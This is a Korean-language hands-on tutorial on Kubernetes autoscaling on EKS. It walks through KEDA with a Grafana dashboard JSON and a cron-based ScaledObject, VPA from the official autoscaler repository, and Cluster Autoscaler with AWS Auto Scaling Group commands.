반복 접속 종료 후 5분 정도가 지나고 나면 급격하게 파드의 개수가 감소하는 모습을 확인할 수 있습니다.

명령어를 통해 테스트에 사용한 모든 자원을 삭제합니다.

kubectl delete deploy,svc,hpa,pod --all

KEDA - Kubernetes based Event Driven Autoscaler

기존의 HPA(Horizontal Pod Autoscaler)는 리소스(CPU, Memory) 메트릭을 기반으로 스케일 여부를 결정하게 됩니다. 반면에 KEDA는 특정 이벤트를 기반으로 스케일 여부를 결정할 수 있습니다. 예를 들어 airflow는 metadb를 통해 현재 실행 중이거나 대기 중인 task가 얼마나 존재하는지 알 수 있습니다. 이러한 이벤트를 활용하여 worker의 scale을 결정한다면 queue에 task가 많이 추가되는 시점에 더 빠르게 확장할 수 있습니다.

출처 :https://keda.sh/docs/2.10/concepts/

KEDA 메트릭을 모니터링할 수 있는 그라파나 대시보드의 json을 미리 Import해 놓습니다.

{
  "annotations": {
    "list": [
      {
        "builtIn": 1,
        "datasource": {
          "type": "grafana",
          "uid": "-- Grafana --"
        },
        "enable": true,
        "hide": true,
        "iconColor": "rgba(0, 211, 255, 1)",
        "name": "Annotations & Alerts",
        "target": {
          "limit": 100,
          "matchAny": false,
          "tags": [],
          "type": "dashboard"
        },
        "type": "dashboard"
      }
    ]
  },
  "description": "Visualize metrics provided by KEDA",
  "editable": true,
  "fiscalYearStartMonth": 0,
  "graphTooltip": 0,
  "id": 1653,
  "links": [],
  "liveNow": false,
  "panels": [
    {
      "collapsed": false,
      "gridPos": {
        "h": 1,
        "w": 24,
        "x": 0,
        "y": 0
      },
      "id": 8,
      "panels": [],
      "title": "Metric Server",
      "type": "row"
    },
    {
      "datasource": {
        "type": "prometheus",
        "uid": "${datasource}"
      },
      "description": "The total number of errors encountered for all scalers.",
      "fieldConfig": {
        "defaults": {
          "color": {
            "mode": "palette-classic"
          },
          "custom": {
            "axisCenteredZero": false,
            "axisColorMode": "text",
            "axisLabel": "",
            "axisPlacement": "auto",
            "barAlignment": 0,
            "drawStyle": "line",
            "fillOpacity": 25,
            "gradientMode": "opacity",
            "hideFrom": {
              "legend": false,
              "tooltip": false,
              "viz": false
            },
            "lineInterpolation": "linear",
            "lineWidth": 2,
            "pointSize": 5,
            "scaleDistribution": {
              "type": "linear"
            },
            "showPoints": "never",
            "spanNulls": true,
            "stacking": {
              "group": "A",
              "mode": "none"
            },
            "thresholdsStyle": {
              "mode": "off"
            }
          },
          "mappings": [],
          "thresholds": {
            "mode": "absolute",
            "steps": [
              {
                "color": "green",
                "value": null
              },
              {
                "color": "red",
                "value": 80
              }
            ]
          },
          "unit": "Errors/sec"
        },
        "overrides": [
          {
            "matcher": {
              "id": "byName",
              "options": "http-demo"
            },
            "properties": [
              {
                "id": "color",
                "value": {
                  "fixedColor": "red",
                  "mode": "fixed"
                }
              }
            ]
          },
          {
            "matcher": {
              "id": "byName",
              "options": "scaledObject"
            },
            "properties": [
              {
                "id": "color",
                "value": {
                  "fixedColor": "red",
                  "mode": "fixed"
                }
              }
            ]
          },
          {
            "matcher": {
              "id": "byName",
              "options": "keda-system/keda-operator-metrics-apiserver"
            },
            "properties": [
              {
                "id": "color",
                "value": {
                  "fixedColor": "red",
                  "mode": "fixed"
                }
              }
            ]
          }
        ]
      },
      "gridPos": {
        "h": 9,
        "w": 8,
        "x": 0,
        "y": 1
      },
      "id": 4,
      "options": {
        "legend": {
          "calcs": [],
          "displayMode": "list",
          "placement": "bottom",
          "showLegend": true
        },
        "tooltip": {
          "mode": "single",
          "sort": "none"
        }
      },
      "targets": [
        {
          "datasource": {
            "type": "prometheus",
            "uid": "${datasource}"
          },
          "editorMode": "code",
          "expr": "sum by(job) (rate(keda_scaler_errors{}[5m]))",
          "legendFormat": "{{ job }}",
          "range": true,
          "refId": "A"
        }
      ],
      "title": "Scaler Total Errors",
      "type": "timeseries"
    },
    {
      "datasource": {
        "type": "prometheus",
        "uid": "${datasource}"
      },
      "description": "The number of errors that have occurred for each scaler.",
      "fieldConfig": {
        "defaults": {
          "color": {
            "mode": "palette-classic"
          },
          "custom": {
            "axisCenteredZero": false,
            "axisColorMode": "text",
            "axisLabel": "",
            "axisPlacement": "auto",
            "barAlignment": 0,
            "drawStyle": "line",
            "fillOpacity": 25,
            "gradientMode": "opacity",
            "hideFrom": {
              "legend": false,
              "tooltip": false,
              "viz": false
            },
            "lineInterpolation": "linear",
            "lineWidth": 2,
            "pointSize": 5,
            "scaleDistribution": {
              "type": "linear"
            },
            "showPoints": "never",
            "spanNulls": true,
            "stacking": {
              "group": "A",
              "mode": "none"
            },
            "thresholdsStyle": {
              "mode": "off"
            }
          },
          "mappings": [],
          "thresholds": {
            "mode": "absolute",
            "steps": [
              {
                "color": "green",
                "value": null
              },
              {
                "color": "red",
                "value": 80
              }
            ]
          },
          "unit": "Errors/sec"
        },
        "overrides": [
          {
            "matcher": {
              "id": "byName",
              "options": "http-demo"
            },
            "properties": [
              {
                "id": "color",
                "value": {
                  "fixedColor": "red",
                  "mode": "fixed"
                }
              }
            ]
          },
          {
            "matcher": {
              "id": "byName",
              "options": "scaler"
            },
            "properties": [
              {
                "id": "color",
                "value": {
                  "fixedColor": "red",
                  "mode": "fixed"
                }
              }
            ]
          },
          {
            "matcher": {
              "id": "byName",
              "options": "prometheusScaler"
            },
            "properties": [
              {
                "id": "color",
                "value": {
                  "fixedColor": "red",
                  "mode": "fixed"
                }
              }
            ]
          }
        ]
      },
      "gridPos": {
        "h": 9,
        "w": 8,
        "x": 8,
        "y": 1
      },
      "id": 3,
      "options": {
        "legend": {
          "calcs": [],
          "displayMode": "list",
          "placement": "bottom",
          "showLegend": true
        },
        "tooltip": {
          "mode": "single",
          "sort": "none"
        }
      },
      "targets": [
        {
          "datasource": {
            "type": "prometheus",
            "uid": "${datasource}"
          },
          "editorMode": "code",
          "expr": "sum by(scaler) (rate(keda_scaler_errors{exported_namespace=~\"$namespace\", scaledObject=~\"$scaledObject\", scaler=~\"$scaler\"}[5m]))",
          "legendFormat": "{{ scaler }}",
          "range": true,
          "refId": "A"
        }
      ],
      "title": "Scaler Errors",
      "type": "timeseries"
    },
    {
      "datasource": {
        "type": "prometheus",
        "uid": "${datasource}"
      },
      "description": "The number of errors that have occurred for each scaled object.",
      "fieldConfig": {
        "defaults": {
          "color": {
            "mode": "palette-classic"
          },
          "custom": {
            "axisCenteredZero": false,
            "axisColorMode": "text",
            "axisLabel": "",
            "axisPlacement": "auto",
            "barAlignment": 0,
            "drawStyle": "line",
            "fillOpacity": 25,
            "gradientMode": "opacity",
            "hideFrom": {
              "legend": false,
              "tooltip": false,
              "viz": false
            },
            "lineInterpolation": "linear",
            "lineWidth": 2,
            "pointSize": 5,
            "scaleDistribution": {
              "type": "linear"
            },
            "showPoints": "never",
            "spanNulls": true,
            "stacking": {
              "group": "A",
              "mode": "none"
            },
            "thresholdsStyle": {
              "mode": "off"
            }
          },
          "mappings": [],
          "thresholds": {
            "mode": "absolute",
            "steps": [
              {
                "color": "green",
                "value": null
              },
              {
                "color": "red",
                "value": 80
              }
            ]
          },
          "unit": "Errors/sec"
        },
        "overrides": [
          {
            "matcher": {
              "id": "byName",
              "options": "http-demo"
            },
            "properties": [
              {
                "id": "color",
                "value": {
                  "fixedColor": "red",
                  "mode": "fixed"
                }
              }
            ]
          }
        ]
      },
      "gridPos": {
        "h": 9,
        "w": 8,
        "x": 16,
        "y": 1
      },
      "id": 2,
      "options": {
        "legend": {
          "calcs": [],
          "displayMode": "list",
          "placement": "bottom",
          "showLegend": true
        },
        "tooltip": {
          "mode": "single",
          "sort": "none"
        }
      },
      "targets": [
        {
          "datasource": {
            "type": "prometheus",
            "uid": "${datasource}"
          },
          "editorMode": "code",
          "expr": "sum by(scaledObject) (rate(keda_scaled_object_errors{exported_namespace=~\"$namespace\", scaledObject=~\"$scaledObject\"}[5m]))",
          "legendFormat": "{{ scaledObject }}",
          "range": true,
          "refId": "A"
        }
      ],
      "title": "Scaled Object Errors",
      "type": "timeseries"
    },
    {
      "collapsed": false,
      "gridPos": {
        "h": 1,
        "w": 24,
        "x": 0,
        "y": 10
      },
      "id": 10,
      "panels": [],
      "title": "Scale Target",
      "type": "row"
    },
    {
      "datasource": {
        "type": "prometheus",
        "uid": "${datasource}"
      },
      "description": "The current value for each scaler’s metric that would be used by the HPA in computing the target average.",
      "fieldConfig": {
        "defaults": {
          "color": {
            "mode": "palette-classic"
          },
          "custom": {
            "axisCenteredZero": false,
            "axisColorMode": "text",
            "axisLabel": "",
            "axisPlacement": "auto",
            "barAlignment": 0,
            "drawStyle": "line",
            "fillOpacity": 25,
            "gradientMode": "opacity",
            "hideFrom": {
              "legend": false,
              "tooltip": false,
              "viz": false
            },
            "lineInterpolation": "linear",
            "lineWidth": 2,
            "pointSize": 5,
            "scaleDistribution": {
              "type": "linear"
            },
            "showPoints": "never",
            "spanNulls": true,
            "stacking": {
              "group": "A",
              "mode": "none"
            },
            "thresholdsStyle": {
              "mode": "off"
            }
          },
          "mappings": [],
          "thresholds": {
            "mode": "absolute",
            "steps": [
              {
                "color": "green",
                "value": null
              },
              {
                "color": "red",
                "value": 80
              }
            ]
          },
          "unit": "none"
        },
        "overrides": [
          {
            "matcher": {
              "id": "byName",
              "options": "http-demo"
            },
            "properties": [
              {
                "id": "color",
                "value": {
                  "fixedColor": "blue",
                  "mode": "fixed"
                }
              }
            ]
          }
        ]
      },
      "gridPos": {
        "h": 9,
        "w": 24,
        "x": 0,
        "y": 11
      },
      "id": 5,
      "options": {
        "legend": {
          "calcs": [],
          "displayMode": "list",
          "placement": "bottom",
          "showLegend": true
        },
        "tooltip": {
          "mode": "single",
          "sort": "none"
        }
      },
      "targets": [
        {
          "datasource": {
            "type": "prometheus",
            "uid": "${datasource}"
          },
          "editorMode": "code",
          "expr": "sum by(metric) (keda_scaler_metrics_value{exported_namespace=~\"$namespace\", metric=~\"$metric\", scaledObject=\"$scaledObject\"})",
          "legendFormat": "{{ metric }}",
          "range": true,
          "refId": "A"
        }
      ],
      "title": "Scaler Metric Value",
      "type": "timeseries"
    },
    {
      "datasource": {
        "type": "prometheus",
        "uid": "${datasource}"
      },
      "description": "shows current replicas against max ones based on time difference",
      "fieldConfig": {
        "defaults": {
          "color": {
            "mode": "palette-classic"
          },
          "custom": {
            "axisCenteredZero": false,
            "axisColorMode": "text",
            "axisLabel": "",
            "axisPlacement": "auto",
            "barAlignment": 0,
            "drawStyle": "line",
            "fillOpacity": 21,
            "gradientMode": "opacity",
            "hideFrom": {
              "legend": false,
              "tooltip": false,
              "viz": false
            },
            "lineInterpolation": "linear",
            "lineStyle": {
              "fill": "solid"
            },
            "lineWidth": 1,
            "pointSize": 5,
            "scaleDistribution": {
              "type": "linear"
            },
            "showPoints": "auto",
            "spanNulls": false,
            "stacking": {
              "group": "A",
              "mode": "none"
            },
            "thresholdsStyle": {
              "mode": "off"
            }
          },
          "mappings": [],
          "thresholds": {
            "mode": "absolute",
            "steps": [
              {
                "color": "green",
                "value": null
              }
            ]
          },
          "unit": "short"
        },
        "overrides": []
      },
      "gridPos": {
        "h": 8,
        "w": 24,
        "x": 0,
        "y": 20
      },
      "id": 13,
      "options": {
        "legend": {
          "calcs": [],
          "displayMode": "list",
          "placement": "bottom",
          "showLegend": true
        },
        "tooltip": {
          "mode": "single",
          "sort": "none"
        }
      },
      "targets": [
        {
          "datasource": {
            "type": "prometheus",
            "uid": "${datasource}"
          },
          "editorMode": "code",
          "exemplar": false,
          "expr": "kube_horizontalpodautoscaler_status_current_replicas{namespace=\"$namespace\",horizontalpodautoscaler=\"keda-hpa-$scaledObject\"}",
          "format": "time_series",
          "instant": false,
          "interval": "",
          "legendFormat": "current_replicas",
          "range": true,
          "refId": "A"
        },
        {
          "datasource": {
            "type": "prometheus",
            "uid": "${datasource}"
          },
          "editorMode": "code",
          "exemplar": false,
          "expr": "kube_horizontalpodautoscaler_spec_max_replicas{namespace=\"$namespace\",horizontalpodautoscaler=\"keda-hpa-$scaledObject\"}",
          "format": "time_series",
          "hide": false,
          "instant": false,
          "legendFormat": "max_replicas",
          "range": true,
          "refId": "B"
        }
      ],
      "title": "Current/max replicas (time based)",
      "type": "timeseries"
    },
    {
      "datasource": {
        "type": "prometheus",
        "uid": "${datasource}"
      },
      "description": "shows current replicas against max ones based on time difference",
      "fieldConfig": {
        "defaults": {
          "color": {
            "mode": "continuous-GrYlRd"
          },
          "custom": {
            "fillOpacity": 70,
            "lineWidth": 0,
            "spanNulls": false
          },
          "mappings": [
            {
              "options": {
                "0": {
                  "color": "green",
                  "index": 0,
                  "text": "No scaling"
                }
              },
              "type": "value"
            },
            {
              "options": {
                "from": -200,
                "result": {
                  "color": "light-red",
                  "index": 1,
                  "text": "Scaling down"
                },
                "to": 0
              },
              "type": "range"
            },
            {
              "options": {
                "from": 0,
                "result": {
                  "color": "semi-dark-red",
                  "index": 2,
                  "text": "Scaling up"
                },
                "to": 200
              },
              "type": "range"
            }
          ],
          "thresholds": {
            "mode": "absolute",
            "steps": [
              {
                "color": "green",
                "value": null
              }
            ]
          },
          "unit": "none"
        },
        "overrides": []
      },
      "gridPos": {
        "h": 8,
        "w": 24,
        "x": 0,
        "y": 28
      },
      "id": 16,
      "options": {
        "alignValue": "left",
        "legend": {
          "displayMode": "list",
          "placement": "bottom",
          "showLegend": false,
          "width": 0
        },
        "mergeValues": true,
        "rowHeight": 1,
        "showValue": "never",
        "tooltip": {
          "mode": "single",
          "sort": "none"
        }
      },
      "targets": [
        {
          "datasource": {
            "type": "prometheus",
            "uid": "${datasource}"
          },
          "editorMode": "code",
          "exemplar": false,
          "expr": "delta(kube_horizontalpodautoscaler_status_current_replicas{namespace=\"$namespace\",horizontalpodautoscaler=\"keda-hpa-$scaledObject\"}[1m])",
          "format": "time_series",
          "instant": false,
          "interval": "",
          "legendFormat": ".",
          "range": true,
          "refId": "A"
        }
      ],
      "title": "Changes in replicas",
      "type": "state-timeline"
    },
    {
      "datasource": {
        "type": "prometheus",
        "uid": "${datasource}"
      },
      "description": "shows current replicas against max ones",
      "fieldConfig": {
        "defaults": {
          "color": {
            "mode": "thresholds"
          },
          "mappings": [],
          "min": 0,
          "thresholds": {
            "mode": "percentage",
            "steps": [
              {
                "color": "green"
              },
              {
                "color": "red",
                "value": 80
              }
            ]
          },
          "unit": "short"
        },
        "overrides": []
      },
      "gridPos": {
        "h": 8,
        "w": 12,
        "x": 0,
        "y": 36
      },
      "id": 15,
      "options": {
        "orientation": "auto",
        "reduceOptions": {
          "calcs": [
            "lastNotNull"
          ],
          "fields": "/^current_replicas$/",
          "values": false
        },
        "showThresholdLabels": false,
        "showThresholdMarkers": true
      },
      "pluginVersion": "9.5.2",
      "targets": [
        {
          "datasource": {
            "type": "prometheus",
            "uid": "${datasource}"
          },
          "editorMode": "code",
          "exemplar": false,
          "expr": "kube_horizontalpodautoscaler_status_current_replicas{namespace=\"$namespace\",horizontalpodautoscaler=\"keda-hpa-$scaledObject\"}",
          "instant": true,
          "legendFormat": "current_replicas",
          "range": false,
          "refId": "A"
        },
        {
          "datasource": {
            "type": "prometheus",
            "uid": "${datasource}"
          },
          "editorMode": "code",
          "exemplar": false,
          "expr": "kube_horizontalpodautoscaler_spec_max_replicas{namespace=\"$namespace\",horizontalpodautoscaler=\"keda-hpa-$scaledObject\"}",
          "hide": false,
          "instant": true,
          "legendFormat": "max_replicas",
          "range": false,
          "refId": "B"
        }
      ],
      "title": "Current/max replicas",
      "type": "gauge"
    }
  ],
  "refresh": "1m",
  "schemaVersion": 38,
  "style": "dark",
  "tags": [],
  "templating": {
    "list": [
      {
        "current": {
          "selected": false,
          "text": "Prometheus",
          "value": "Prometheus"
        },
        "hide": 0,
        "includeAll": false,
        "multi": false,
        "name": "datasource",
        "options": [],
        "query": "prometheus",
        "queryValue": "",
        "refresh": 1,
        "regex": "",
        "skipUrlSync": false,
        "type": "datasource"
      },
      {
        "current": {
          "selected": false,
          "text": "bhe-test",
          "value": "bhe-test"
        },
        "datasource": {
          "type": "prometheus",
          "uid": "${datasource}"
        },
        "definition": "label_values(keda_scaler_active,exported_namespace)",
        "hide": 0,
        "includeAll": false,
        "multi": false,
        "name": "namespace",
        "options": [],
        "query": {
          "query": "label_values(keda_scaler_active,exported_namespace)",
          "refId": "PrometheusVariableQueryEditor-VariableQuery"
        },
        "refresh": 1,
        "regex": "",
        "skipUrlSync": false,
        "sort": 1,
        "type": "query"
      },
      {
        "current": {
          "selected": false,
          "text": "All",
          "value": "$__all"
        },
        "datasource": {
          "type": "prometheus",
          "uid": "${datasource}"
        },
        "definition": "label_values(keda_scaler_active{exported_namespace=\"$namespace\"},scaledObject)",
        "hide": 0,
        "includeAll": true,
        "multi": true,
        "name": "scaledObject",
        "options": [],
        "query": {
          "query": "label_values(keda_scaler_active{exported_namespace=\"$namespace\"},scaledObject)",
          "refId": "PrometheusVariableQueryEditor-VariableQuery"
        },
        "refresh": 2,
        "regex": "",
        "skipUrlSync": false,
        "sort": 0,
        "type": "query"
      },
      {
        "current": {
          "selected": false,
          "text": "cronScaler",
          "value": "cronScaler"
        },
        "datasource": {
          "type": "prometheus",
          "uid": "${datasource}"
        },
        "definition": "label_values(keda_scaler_active{exported_namespace=\"$namespace\"},scaler)",
        "hide": 0,
        "includeAll": false,
        "multi": false,
        "name": "scaler",
        "options": [],
        "query": {
          "query": "label_values(keda_scaler_active{exported_namespace=\"$namespace\"},scaler)",
          "refId": "PrometheusVariableQueryEditor-VariableQuery"
        },
        "refresh": 2,
        "regex": "",
        "skipUrlSync": false,
        "sort": 0,
        "type": "query"
      },
      {
        "current": {
          "selected": false,
          "text": "s0-cron-Etc-UTC-40xxxx-55xxxx",
          "value": "s0-cron-Etc-UTC-40xxxx-55xxxx"
        },
        "datasource": {
          "type": "prometheus",
          "uid": "${datasource}"
        },
        "definition": "label_values(keda_scaler_active{exported_namespace=\"$namespace\"},metric)",
        "hide": 0,
        "includeAll": false,
        "multi": false,
        "name": "metric",
        "options": [],
        "query": {
          "query": "label_values(keda_scaler_active{exported_namespace=\"$namespace\"},metric)",
          "refId": "PrometheusVariableQueryEditor-VariableQuery"
        },
        "refresh": 2,
        "regex": "",
        "skipUrlSync": false,
        "sort": 0,
        "type": "query"
      }
    ]
  },
  "time": {
    "from": "now-24h",
    "to": "now"
  },
  "timepicker": {},
  "timezone": "",
  "title": "KEDA",
  "uid": "asdasd8rvmMxdVk",
  "version": 8,
  "weekStart": ""
}

KEDA를 설치합니다.

# KEDA 설치
cat <<EOT > keda-values.yaml
metricsServer:
  useHostNetwork: true

prometheus:
  metricServer:
    enabled: true
    port: 9022
    portName: metrics
    path: /metrics
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus Operator
      enabled: true
    podMonitor:
      # Enables PodMonitor creation for the Prometheus Operator
      enabled: true
  operator:
    enabled: true
    port: 8080
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus Operator
      enabled: true
    podMonitor:
      # Enables PodMonitor creation for the Prometheus Operator
      enabled: true

  webhooks:
    enabled: true
    port: 8080
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus webhooks
      enabled: true
EOT

kubectl create namespace keda
helm repo add kedacore https://kedacore.github.io/charts
helm install keda kedacore/keda --version 2.13.0 --namespace keda -f keda-values.yaml

# KEDA 설치 확인
kubectl get all -n keda
kubectl get validatingwebhookconfigurations keda-admission
kubectl get validatingwebhookconfigurations keda-admission | kubectl neat | yh
kubectl get crd | grep keda

HPA와 VPA에서 사용하는 메트릭을 수집하는 kube-system의 metric-server와 별도로 KEDA에서는 metrics-apiserver가 필요하며 이는 helm 차트로 설치 시 함께 설치됩니다.

HPA 테스트에서 사용했던 php-apache 파드를 KEDA 네임스페이스에 배포하여 KEDA를 테스트해 봅니다. 여러가지 스케일링 방법 중에 cron으로 정책을 생성합니다.

# keda 네임스페이스에 디플로이먼트 생성
kubectl apply -f php-apache.yaml -n keda
kubectl get pod -n keda

# ScaledObject 정책 생성 : cron
cat <<EOT > keda-cron.yaml
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: php-apache-cron-scaled
spec:
  minReplicaCount: 0
  maxReplicaCount: 2
  pollingInterval: 30
  cooldownPeriod: 300
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: php-apache
  triggers:
  - type: cron
    metadata:
      timezone: Asia/Seoul
      start: 00,15,30,45 * * * *
      end: 05,20,35,50 * * * *
      desiredReplicas: "1"
EOT
kubectl apply -f keda-cron.yaml -n keda

그라파나와 터미널을 통해 KEDA의 스케일링 크론 동작을 확인합니다.

# 모니터링
watch -d 'kubectl get ScaledObject,hpa,pod -n keda'
kubectl get ScaledObject -w

# 확인
kubectl get ScaledObject,hpa,pod -n keda
kubectl get hpa -o jsonpath={.items[0].spec} -n keda | jq
...
"metrics": [
    {
      "external": {
        "metric": {
          "name": "s0-cron-Asia-Seoul-00,15,30,45xxxx-05,20,35,50xxxx",
          "selector": {
            "matchLabels": {
              "scaledobject.keda.sh/name": "php-apache-cron-scaled"
            }
          }
        },
        "target": {
          "averageValue": "1",
          "type": "AverageValue"
        }
      },
      "type": "External"
    }

KEDA와 테스트에 사용했던 파드 및 네임스페이스를 모두 삭제합니다.

# KEDA 및 deployment 등 삭제
kubectl delete -f keda-cron.yaml -n keda && kubectl delete deploy php-apache -n keda && helm uninstall keda -n keda
kubectl delete namespace keda

VPA - Vertical Pod Autoscaler

파드의 resources.request을 최대한 최적값으로 수정합니다. 수정된 request값이 기존 값보다 위 또는 아래 범위에 속하므로 Vertical라고 표현합니다. 파드마다 resource.request를 최적값으로 설정하면, 쿠버네티스 노드 cpu와 메모리를 최대한 확보할 수 있으므로 쿠버네티스 노드 자원 효율성이 좋아집니다. 파드가 스케줄링될 때 파드 resources.request만큼 노드에 자원이 있어야 합니다. HPA와 같이 사용할 수 없으며 수정 시 파드를 재실행해야 한다는 특징이 있습니다.

출처 :https://malwareanalysis.tistory.com/603

VPA 공식 코드를 다운로드 받아 진행합니다. VPA는 별도로 설치를 해서 사용해야 하는데 이 때 openssl 1.1.1 이상 버전이 필요합니다.

# 코드 다운로드
git clone https://github.com/kubernetes/autoscaler.git
cd ~/autoscaler/vertical-pod-autoscaler/
tree hack

# openssl 버전 확인
openssl version
OpenSSL 1.0.2k-fips  26 Jan 2017

# openssl 1.1.1 이상 버전 확인
yum install openssl11 -y
openssl11 version

# 스크립트파일내에 openssl11 수정
sed -i 's/openssl/openssl11/g' ~/autoscaler/vertical-pod-autoscaler/pkg/admission-controller/gencerts.sh

# Deploy the Vertical Pod Autoscaler to your cluster with the following command.
watch -d kubectl get pod -n kube-system
cat hack/vpa-up.sh
./hack/vpa-up.sh
kubectl get crd | grep autoscaling
kubectl get mutatingwebhookconfigurations vpa-webhook-config
kubectl get mutatingwebhookconfigurations vpa-webhook-config -o json | jq

모니터링 터미널을 띄워놓고 VPA 공식 예제를 사용하여 VPA 동작을 테스트합니다. 최적의 CPU와 MEM 사용량을 추천해주고 해당 값을 Requests로 가지는 파드로 다시 배포되는 모습을 확인할 수 있습니다.

# 모니터링
watch -d "kubectl top pod;echo "----------------------";kubectl describe pod | grep Requests: -A2"

# 공식 예제 배포
cd ~/autoscaler/vertical-pod-autoscaler/
cat examples/hamster.yaml | yh
kubectl apply -f examples/hamster.yaml && kubectl get vpa -w

이벤트 조회를 통해 기존 파드가 VPA에 의해 지워진 내용을 확인할 수 있습니다.

# VPA에 의해 기존 파드 삭제되고 신규 파드가 생성됨
kubectl get events --sort-by=".metadata.creationTimestamp" | grep VPA

사용했던 자원들을 모두 삭제합니다.

kubectl delete -f examples/hamster.yaml && cd ~/autoscaler/vertical-pod-autoscaler/ && ./hack/vpa-down.sh

KRR

Prometheus-based Kubernetes Resource Recommendations

CA - Cluster Autoscaler

출처 :https://catalog.us-east-1.prod.workshops.aws/workshops/9c0aa9ab-90a9-44a6-abe1-8dff360ae428/ko-KR/100-scaling/200-cluster-scaling

Cluster Autoscale 동작을 하기 위한 cluster-autoscaler 파드(디플로이먼트)를 배치합니다.
Cluster Autoscaler(CA)는 pending 상태인 파드가 존재할 경우, 워커 노드를 스케일 아웃합니다.
특정 시간을 간격으로 사용률을 확인하여 스케일 인/아웃을 수행합니다. 그리고 AWS에서는 Auto Scaling Group(ASG)을 사용하여 Cluster Autoscaler를 적용합니다.

Cluster Autoscaler(CA) 설정

EKS에서 CA를 사용하기 위해서는 노드에 k8s.io/cluster-autoscaler/enabled : true와 k8s.io/cluster-autoscaler/myeks : owned 태그가 포함되어 있어야 합니다. 실습에서는 원클릭 배포를 통해 이미 태그가 포함된 상태입니다.

# EKS 노드에 이미 아래 tag가 들어가 있음
# k8s.io/cluster-autoscaler/enabled : true
# k8s.io/cluster-autoscaler/myeks : owned
aws ec2 describe-instances  --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Reservations[*].Instances[*].Tags[*]" --output yaml | yh

현재 AWS에 구성되어 있는 ASG(AutoScalingGroup) 정보를 확인합니다.

# 현재 autoscaling(ASG) 정보 확인
# aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='클러스터이름']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table
aws autoscaling describe-auto-scaling-groups \
    --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" \
    --output table

Max 사이즈를 6으로 변경합니다.

# MaxSize 6개로 수정
export ASG_NAME=$(aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].AutoScalingGroupName" --output text)
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 3 --desired-capacity 3 --max-size 6

# 확인
aws autoscaling describe-auto-scaling-groups --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" --output table

CA를 배포하고 해당 파드가 존재하는 워커 노드가 퇴출(evict)되지 않도록 annotate해 줍니다.

# 배포 : Deploy the Cluster Autoscaler (CA)
curl -s -O https://raw.githubusercontent.com/kubernetes/autoscaler/master/cluster-autoscaler/cloudprovider/aws/examples/cluster-autoscaler-autodiscover.yaml
sed -i "s/<YOUR CLUSTER NAME>/$CLUSTER_NAME/g" cluster-autoscaler-autodiscover.yaml
kubectl apply -f cluster-autoscaler-autodiscover.yaml

# 확인
kubectl get pod -n kube-system | grep cluster-autoscaler
kubectl describe deployments.apps -n kube-system cluster-autoscaler
kubectl describe deployments.apps -n kube-system cluster-autoscaler | grep node-group-auto-discovery
      --node-group-auto-discovery=asg:tag=k8s.io/cluster-autoscaler/enabled,k8s.io/cluster-autoscaler/myeks

# (옵션) cluster-autoscaler 파드가 동작하는 워커 노드가 퇴출(evict) 되지 않게 설정
kubectl -n kube-system annotate deployment.apps/cluster-autoscaler cluster-autoscaler.kubernetes.io/safe-to-evict="false"

SCALE A CLUSTER WITH Cluster Autoscaler(CA)

노드의 개수를 모니터링할 수 있는 watch 명령어를 걸어놓고 샘플 파드를 배포합니다.

# 모니터링 
kubectl get nodes -w
while true; do kubectl get node; echo "------------------------------" ; date ; sleep 1; done
while true; do aws ec2 describe-instances --query "Reservations[*].Instances[*].{PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output text ; echo "------------------------------"; date; sleep 1; done

# Deploy a Sample App
# We will deploy an sample nginx application as a ReplicaSet of 1 Pod
cat <<EoF> nginx.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-to-scaleout
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        service: nginx
        app: nginx
    spec:
      containers:
      - image: nginx
        name: nginx-to-scaleout
        resources:
          limits:
            cpu: 500m
            memory: 512Mi
          requests:
            cpu: 500m
            memory: 512Mi
EoF

kubectl apply -f nginx.yaml

해당 파드의 레플리카 수를 변경합니다. 늘어난 파드는 Pending 되어 있다가 CA에 의해 노드의 개수가 Max인 6개까지 늘어난 다음 배치되는 모습을 확인할 수 있습니다.

# Scale our ReplicaSet
# Let’s scale out the replicaset to 15
kubectl scale --replicas=15 deployment/nginx-to-scaleout && date

# 확인
kubectl get pods -l app=nginx -o wide --watch
kubectl -n kube-system logs -f deployment/cluster-autoscaler

# 노드 자동 증가 확인
kubectl get nodes
aws autoscaling describe-auto-scaling-groups \
    --query "AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') && Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]" \
    --output table
    
./eks-node-viewer --resources cpu,memory
혹은
./eks-node-viewer

해당 파드를 삭제한 후에 노드 개수가 축소되는 모습을 확인합니다.

# 디플로이먼트 삭제
kubectl delete -f nginx.yaml && date

# 노드 개수 축소 : 기본은 10분 후 scale down 됨, 물론 아래 flag 로 시간 수정 가능 >> 그러니 디플로이먼트 삭제 후 10분 기다리고 나서 보자!
# By default, cluster autoscaler will wait 10 minutes between scale down operations, 
# you can adjust this using the --scale-down-delay-after-add, --scale-down-delay-after-delete, 
# and --scale-down-delay-after-failure flag. 
# E.g. --scale-down-delay-after-add=5m to decrease the scale down delay to 5 minutes after a node has been added.

# 터미널1
watch -d kubectl get node

사용했던 리소스를 모두 삭제하고 오토스케일링그룹의 설정도 원복합니다.

위 실습 중 디플로이먼트 삭제 후 10분 후 노드 갯수 축소되는 것을 확인 후 아래 삭제를 해보자! >> 만약 바로 아래 CA 삭제 시 워커 노드는 4개 상태가 되어서 수동으로 2대 변경 하자!
